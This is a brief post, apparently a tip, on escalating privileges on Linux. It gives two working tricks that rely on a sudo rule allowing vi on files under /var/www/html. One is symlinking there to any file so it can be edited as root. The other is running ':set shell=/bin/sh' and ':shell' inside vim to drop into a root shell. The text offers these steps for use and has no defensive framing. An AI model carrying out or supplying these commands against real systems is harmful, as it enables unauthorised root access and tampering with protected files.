Sometimes escalating privileges is that easy

symlink to the file you want to CRUD with root privileges. then sudo vi /var/www/html/<insert symlink name.

Or once inside vim

:set shell=/bin/sh

:shell